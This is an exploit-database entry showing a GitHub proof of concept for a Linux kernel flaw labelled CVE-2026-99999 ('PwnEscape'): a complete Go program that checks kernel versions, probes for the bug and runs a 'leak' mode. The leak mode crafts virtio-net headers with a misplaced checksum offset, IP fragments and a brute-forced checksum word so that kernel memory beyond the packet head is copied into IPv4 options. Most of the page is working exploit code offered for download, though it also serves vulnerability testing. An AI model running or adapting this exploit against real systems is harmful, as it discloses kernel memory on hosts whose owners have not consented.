Exploit database

GH-f1c23bc70aa36d44f0bcfc69f53109ab

gandli/cve-2026-99999-pwnescape

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-99999

10 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
gandli/cve-2026-99999-pwnescapeRevision b589a5e527eb

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exp/go/main.go

Go · 14,934 bytes
// CVE-2026-99999 (PwnEscape) — static Go implementation.
//
// Same three jobs as the Python tools, in one dependency-free binary:
//
//	pwnescape-go verdict [release]   version boundary table
//	pwnescape-go probe               active A/B probe in the lab namespace
//	pwnescape-go leak                two-fragment over-read, 32 bytes per packet
//
// Build:
//
//	CGO_ENABLED=0 go build -trimpath -ldflags "-s -w" -o bin/pwnescape-go .
//
// Must run as root inside the lab network namespace (see exp/USAGE.md).
package main

import (
	"encoding/binary"
	"fmt"
	"net"
	"os"
	"strconv"
	"strings"
	"syscall"
	"time"
	"unsafe"
)

const (
	ifTap         = 0x0002
	ifNoPI        = 0x1000
	ifVnetHdr     = 0x4000
	tunSetIFF     = 0x400454ca
	virtioNeedsCs = 0x01

	ethLen  = 14
	vlanLen = 4
	ipLen   = 20
	l2Len   = ethLen + 2*vlanLen

	csumAtIP = l2Len // csum_start that lands on version/IHL

	ethPAll  = 0x0003
	ethPIP   = 0x0800
	vlanProt = 0x8100

	srcIP   = "10.0.0.2"
	dstIP   = "10.99.0.2"
	ipProto = 253
	ipID    = 0x9999
	marker  = 0xA5
	target  = 0x004F // bytes 0x4f 0x00 -> version 4, IHL 15
)

// ---------------------------------------------------------------- boundaries

var fixed = map[[2]int]int{
	{5, 10}: 272, {5, 15}: 223, {6, 1}: 190, {6, 6}: 159,
	{6, 12}: 113, {6, 18}: 57, {7, 2}: 11,
}

// Ascending spans: {lo major, lo minor, hi major, hi minor}.
var eol = [][2][2]int{
	{{7, 1}, {7, 1}},
	{{7, 0}, {7, 0}},
	{{6, 13}, {6, 17}},
	{{6, 7}, {6, 11}},
	{{6, 2}, {6, 5}},
	{{6, 0}, {6, 0}},
	{{5, 16}, {5, 19}},
	{{5, 11}, {5, 14}},
	{{5, 4}, {5, 9}},
	{{2, 6}, {4, 20}},
}

func parseRelease(rel string) (int, int, int, bool) {
	var a, b, c int
	n, err := fmt.Sscanf(strings.TrimSpace(rel), "%d.%d.%d", &a, &b, &c)
	if n >= 2 && err == nil {
		return a, b, c, true
	}
	n, err = fmt.Sscanf(strings.TrimSpace(rel), "%d.%d", &a, &b)
	if n == 2 && err == nil {
		return a, b, 0, true
	}
	return 0, 0, 0, false
}

func verdict(rel string) (state, reason string, twoTags int) {
	a, b, c, ok := parseRelease(rel)
	if !ok {
		return "UNKNOWN", "unparseable release string", -1
	}
	br := [2]int{a, b}
	twoTags = -1
	if a >= 7 || (a == 6 && b >= 12) {
		twoTags = 1
	} else if a < 6 || b <= 6 {
		twoTags = 0
	}
	if a > 7 || (a == 7 && b >= 3) {
		return "PATCHED", "mainline 7.3 contains 6785011f8b16", twoTags
	}
	if f, ok := fixed[br]; ok {
		if c >= f {
			return "PATCHED", fmt.Sprintf("%d.%d.x fixed at %d.%d.%d", a, b, a, b, f), twoTags
		}
		return "VULNERABLE", fmt.Sprintf("%d.%d.x fixed at %d.%d.%d, running %d.%d.%d", a, b, a, b, f, a, b, c), twoTags
	}
	if a < 2 || (a == 2 && b < 6) || (a == 2 && b == 6 && c < 27) {
		return "PATCHED", "predates the affected range (2.6.27+)", twoTags
	}
	for _, span := range eol {
		lo, hi := span[0], span[1]
		if (a > lo[0] || (a == lo[0] && b >= lo[1])) && (a < hi[0] || (a == hi[0] && b <= hi[1])) {
			return "VULNERABLE_NO_FIX", fmt.Sprintf("branch %d.%d is EOL (never backported)", a, b), twoTags
		}
	}
	return "UNKNOWN", fmt.Sprintf("branch %d.%d is not in any known set", a, b), twoTags
}

func runningRelease() string {
	if b, err := os.ReadFile("/proc/sys/kernel/osrelease"); err == nil {
		return strings.TrimSpace(string(b))
	}
	var u syscall.Utsname
	if err := syscall.Uname(&u); err == nil {
		var sb strings.Builder
		for _, ch := range u.Release {
			if ch == 0 {
				break
			}
			sb.WriteByte(byte(ch))
		}
		return sb.String()
	}
	return "unknown"
}

func geometry(twoTags int) string {
	switch twoTags {
	case 1:
		return "admission needs csum_start >= 20 -> two VLAN tags"
	case 0:
		return "no admission lower bound -> a plain Ethernet header reaches version/IHL"
	default:
		return "geometry not pinned down for this branch"
	}
}

// ------------------------------------------------------------------ packets

func csumPartial(b []byte) uint32 {
	var s uint32
	i := 0
	for ; i+1 < len(b); i += 2 {
		s += uint32(b[i]) | uint32(b[i+1])<<8
	}
	if i < len(b) {
		s += uint32(b[i])
	}
	return s
}

func csumFold(s uint32) uint16 {
	s = (s & 0xffff) + (s >> 16)
	s = (s & 0xffff) + (s >> 16)
	return ^uint16(s)
}

func ipChecksum(hdr []byte) uint16 {
	var s uint32
	for i := 0; i+1 < len(hdr); i += 2 {
		s += uint32(hdr[i])<<8 | uint32(hdr[i+1])
	}
	if len(hdr)%2 == 1 {
		s += uint32(hdr[len(hdr)-1]) << 8
	}
	s = (s & 0xffff) + (s >> 16)
	s = (s & 0xffff) + (s >> 16)
	return ^uint16(s)
}

func datagram(payload []byte, id uint16) []byte {
	p := make([]byte, ipLen+len(payload))
	p[0] = 0x45
	binary.BigEndian.PutUint16(p[2:], uint16(len(p)))
	binary.BigEndian.PutUint16(p[4:], id)
	binary.BigEndian.PutUint16(p[6:], 0)
	p[8] = 64
	p[9] = ipProto
	copy(p[12:16], net.ParseIP(srcIP).To4())
	copy(p[16:20], net.ParseIP(dstIP).To4())
	copy(p[ipLen:], payload)
	binary.BigEndian.PutUint16(p[10:], ipChecksum(p[:ipLen]))
	return p
}

func fragment(offset int, more bool, payload []byte, id uint16) []byte {
	p := datagram(payload, id)
	fo := uint16(offset / 8)
	if more {
		fo |= 0x2000
	}
	binary.BigEndian.PutUint16(p[6:], fo)
	binary.BigEndian.PutUint16(p[10:], 0)
	binary.BigEndian.PutUint16(p[10:], ipChecksum(p[:ipLen]))
	return p
}

func forwardTTL(p []byte) {
	raw := uint32(p[10]) | uint32(p[11])<<8
	raw++
	p[8]--
	p[10] = byte(raw & 0xff)
	p[11] = byte(raw >> 8)
}

func frame(ip []byte) []byte {
	f := make([]byte, l2Len+len(ip))
	copy(f[0:6], []byte{0x02, 0, 0, 0, 0, 0x01})
	copy(f[6:12], []byte{0x02, 0, 0, 0, 0, 0x02})
	binary.BigEndian.PutUint16(f[12:], vlanProt)
	binary.BigEndian.PutUint16(f[14:], 0)
	binary.BigEndian.PutUint16(f[16:], vlanProt)
	binary.BigEndian.PutUint16(f[18:], 0)
	binary.BigEndian.PutUint16(f[20:], ethPIP)
	copy(f[l2Len:], ip)
	return f
}

func solve(payload []byte, id uint16) uint16 {
	const adj = 32
	off := adj - ipLen
	if adj+1 >= ipLen+len(payload) {
		panic("payload too short for the adjustment word")
	}
	for w := 0; w < 0x10000; w++ {
		payload[off] = byte(w)
		payload[off+1] = byte(w >> 8)
		p := datagram(payload, id)
		forwardTTL(p)
		if csumFold(csumPartial(p)) == target {
			return uint16(w)
		}
	}
	panic("no adjustment word produces 0x4f00")
}

// --------------------------------------------------------------------- tap

func openTap(name string) (*os.File, error) {
	f, err := os.OpenFile("/dev/net/tun", os.O_RDWR, 0)
	if err != nil {
		return nil, err
	}
	var ifr [40]byte
	copy(ifr[:16], name)
	binary.LittleEndian.PutUint16(ifr[16:], ifTap|ifNoPI|ifVnetHdr)
	_, _, e := syscall.Syscall(syscall.SYS_IOCTL, f.Fd(), tunSetIFF, uintptr(unsafe.Pointer(&ifr[0])))
	if e != 0 {
		f.Close()
		return nil, e
	}
	return f, nil
}

func writeTap(f *os.File, pkt []byte, csumStart int) error {
	hdr := make([]byte, 10)
	if csumStart >= 0 {
		hdr[0] = virtioNeedsCs
		binary.LittleEndian.PutUint16(hdr[6:], uint16(csumStart))
		binary.LittleEndian.PutUint16(hdr[8:], 0)
	}
	_, err := f.Write(append(hdr, pkt...))
	return err
}

func htons(v uint16) uint16 { return v<<8 | v>>8 }

type capture struct {
	fd int
}

func openCapture(ifname string) (*capture, error) {
	fd, err := syscall.Socket(syscall.AF_PACKET, syscall.SOCK_RAW, int(htons(ethPAll)))
	if err != nil {
		return nil, err
	}
	ifi, err := net.InterfaceByName(ifname)
	if err != nil {
		syscall.Close(fd)
		return nil, err
	}
	sa := &syscall.SockaddrLinklayer{Protocol: htons(ethPAll), Ifindex: ifi.Index}
	if err := syscall.Bind(fd, sa); err != nil {
		syscall.Close(fd)
		return nil, err
	}
	tv := syscall.NsecToTimeval((50 * time.Millisecond).Nanoseconds())
	syscall.SetsockoptTimeval(fd, syscall.SOL_SOCKET, syscall.SO_RCVTIMEO, &tv)
	return &capture{fd: fd}, nil
}

func (c *capture) close() { syscall.Close(c.fd) }

func ipv4Of(fr []byte) []byte {
	if len(fr) < ethLen {
		return nil
	}
	off := ethLen
	proto := binary.BigEndian.Uint16(fr[12:])
	for proto == vlanProt {
		if len(fr) < off+vlanLen {
			return nil
		}
		proto = binary.BigEndian.Uint16(fr[off+2:])
		off += vlanLen
	}
	if proto != ethPIP || len(fr) < off+ipLen {
		return nil
	}
	return fr[off:]
}

func (c *capture) collect(d time.Duration, id uint16) [][]byte {
	buf := make([]byte, 65535)
	deadline := time.Now().Add(d)
	var out [][]byte
	for time.Now().Before(deadline) {
		n, _, err := syscall.Recvfrom(c.fd, buf, 0)
		if err != nil {
			continue // EAGAIN on the 50 ms timeout
		}
		ip := ipv4Of(buf[:n])
		if ip == nil || binary.BigEndian.Uint16(ip[4:]) != id {
			continue
		}
		cp := make([]byte, len(ip))
		copy(cp, ip)
		out = append(out, cp)
	}
	return out
}

// -------------------------------------------------------------------- modes

func doVerdict(args []string) int {
	rel := runningRelease()
	if len(args) > 0 {
		rel = args[0]
	}
	state, reason, twoTags := verdict(rel)
	fmt.Printf("%-28s %-18s %s  | %s\n", rel, state, reason, geometry(twoTags))
	if state == "PATCHED" || state == "VULNERABLE" {
		return 0
	}
	return 0
}

func doProbe(tapName, capName string, attempts int) int {
	tap, err := openTap(tapName)
	if err != nil {
		fmt.Fprintf(os.Stderr, "open tap: %v\n", err)
		return 2
	}
	defer tap.Close()
	cap, err := openCapture(capName)
	if err != nil {
		fmt.Fprintf(os.Stderr, "open capture: %v\n", err)
		return 2
	}
	defer cap.close()

	rel := runningRelease()
	state, reason, twoTags := verdict(rel)
	fmt.Printf("[passive] kernel release: %s\n", rel)
	fmt.Printf("[passive] %s\n", reason)
	fmt.Printf("[passive] %s\n", geometry(twoTags))
	fmt.Printf("[passive] %s\n", state)

	verdicts := []string{}
	for i := 0; i < attempts; i++ {
		// control: metadata points at the payload, which is legal
		ctlPayload := make([]byte, 300)
		for j := range ctlPayload {
			ctlPayload[j] = 0x5a
		}
		ctlID := uint16(0x2000 + i)
		solve(ctlPayload, ctlID)
		if err := writeTap(tap, frame(datagram(ctlPayload, ctlID)), l2Len+ipLen); err != nil {
			fmt.Fprintf(os.Stderr, "[active] attempt %d: tap write failed: %v\n", i, err)
			verdicts = append(verdicts, "INCONCLUSIVE")
			continue
		}
		ctl := cap.collect(400*time.Millisecond, ctlID)
		if len(ctl) == 0 {
			fmt.Printf("[active] attempt %d: control not captured — lab not forwarding\n", i)
			verdicts = append(verdicts, "INCONCLUSIVE")
			continue
		}

		// test: csum_start on the IPv4 version/IHL byte
		tstPayload := make([]byte, 300)
		for j := range tstPayload {
			tstPayload[j] = 0x5a
		}
		tstID := uint16(0x3000 + i)
		solve(tstPayload, tstID)
		if err := writeTap(tap, frame(datagram(tstPayload, tstID)), csumAtIP); err != nil {
			fmt.Fprintf(os.Stderr, "[active] attempt %d: tap write failed: %v\n", i, err)
			verdicts = append(verdicts, "INCONCLUSIVE")
			continue
		}
		tst := cap.collect(400*time.Millisecond, tstID)
		switch {
		case len(tst) == 0:
			fmt.Printf("[active] attempt %d: control 0x%02x, test dropped by the guard -> PATCHED\n", i, ctl[0][0])
			verdicts = append(verdicts, "PATCHED")
		case tst[0][0] == 0x4F:
			fmt.Printf("[active] attempt %d: control 0x%02x, test 0x%02x ihl=%d -> VULNERABLE\n",
				i, ctl[0][0], tst[0][0], tst[0][0]&0x0F)
			verdicts = append(verdicts, "VULNERABLE")
		default:
			fmt.Printf("[active] attempt %d: control 0x%02x, test 0x%02x -> PATCHED\n", i, ctl[0][0], tst[0][0])
			verdicts = append(verdicts, "PATCHED")
		}
	}

	last := verdicts[len(verdicts)-1]
	agree := true
	for _, v := range verdicts {
		if v != last {
			agree = false
		}
	}
	fmt.Printf("\n[verdict] passive=%s active=%s consistent=%v\n", state, last, agree)
	if !agree {
		fmt.Println("[verdict] attempts disagree — rerun, the lab may be flapping")
		return 2
	}
	if last == "PATCHED" || last == "VULNERABLE" {
		return 0
	}
	return 2
}

func doLeak(tapName, capName string, head, rest, spray int) int {
	payload := make([]byte, head+rest)
	for i := 0; i < head; i++ {
		payload[i] = marker
	}
	for i := head; i < len(payload); i++ {
		payload[i] = 0x11
	}
	w := solve(payload, ipID)
	past := 60 - (ipLen + head)
	fmt.Printf("[leak] head=%d rest=%d linear=%dB copy=60B overrun=%dB adj=0x%04x spray=%d\n",
		head, rest, ipLen+head, past, w, spray)

	tap, err := openTap(tapName)
	if err != nil {
		fmt.Fprintf(os.Stderr, "open tap: %v\n", err)
		return 2
	}
	defer tap.Close()
	cap, err := openCapture(capName)
	if err != nil {
		fmt.Fprintf(os.Stderr, "open capture: %v\n", err)
		return 2
	}
	defer cap.close()

	// Completing fragment first, so the offset-0 fragment becomes the
	// reassembled skb's linear head.
	writeTap(tap, frame(fragment(head, false, payload[head:], ipID)), l2Len+ipLen)
	for i := 0; i < spray; i++ {
		sf := make([]byte, head)
		for j := range sf {
			sf[j] = 0xEE
		}
		writeTap(tap, frame(datagram(sf, 0x1000)), -1)
	}
	writeTap(tap, frame(fragment(0, true, payload[:head], ipID)), csumAtIP)

	pkts := cap.collect(800*time.Millisecond, ipID)
	if len(pkts) == 0 {
		fmt.Println("[leak] no fragment captured")
		return 1
	}
	fmt.Printf("[leak] %d output fragment(s)\n", len(pkts))
	disclosed := false
	for i, ip := range pkts {
		ihl := int(ip[0]&0x0F) * 4
		fmt.Printf("  frag %d: first=0x%02x ihl=%dB tot_len=%d\n", i, ip[0], ihl, binary.BigEndian.Uint16(ip[2:]))
		if ip[0] != 0x4F || ihl > len(ip) {
			continue
		}
		options := ip[ipLen:ihl]
		if len(options) <= head {
			continue
		}
		tail := options[head:]
		nz := 0
		for _, b := range tail {
			if b != 0 {
				nz++
			}
		}
		fmt.Printf("    options[%d]: %x\n", len(options), options)
		fmt.Printf("    past linear head: %dB, %d nonzero\n", len(tail), nz)
		disclosed = true
	}
	if disclosed {
		fmt.Printf("[leak] OK: %d bytes copied past skb_headlen() into IPv4 options\n", past)
		return 0
	}
	fmt.Println("[leak] header was rewritten but no bytes crossed the linear head")
	return 1
}

func usage() {
	fmt.Fprintln(os.Stderr, `usage:
  pwnescape-go verdict [release]           version boundary table
  pwnescape-go probe [--attempts N]        active A/B probe (root, lab netns)
  pwnescape-go leak [--head N] [--rest N]  two-fragment over-read

  --tap NAME   default pwntap
  --cap NAME   default pwnv1`)
}

func main() {
	args := os.Args[1:]
	if len(args) == 0 {
		usage()
		os.Exit(2)
	}
	cmd := args[0]
	rest := args[1:]

	tapName, capName := "pwntap", "pwnv1"
	attempts, head, restLen, spray := 2, 8, 400, 0
	var positional []string
	for i := 0; i < len(rest); i++ {
		switch rest[i] {
		case "--tap":
			i++
			tapName = rest[i]
		case "--cap":
			i++
			capName = rest[i]
		case "--attempts":
			i++
			attempts, _ = strconv.Atoi(rest[i])
		case "--head":
			i++
			head, _ = strconv.Atoi(rest[i])
		case "--rest":
			i++
			restLen, _ = strconv.Atoi(rest[i])
		case "--spray":
			i++
			spray, _ = strconv.Atoi(rest[i])
		default:
			positional = append(positional, rest[i])
		}
	}

	switch cmd {
	case "verdict":
		os.Exit(doVerdict(positional))
	case "probe":
		os.Exit(doProbe(tapName, capName, attempts))
	case "leak":
		if head < 8 || head%8 != 0 || head > 40 {
			fmt.Fprintln(os.Stderr, "--head must be a multiple of 8 in 8..40")
			os.Exit(2)
		}
		os.Exit(doLeak(tapName, capName, head, restLen, spray))
	default:
		usage()
		os.Exit(2)
	}
}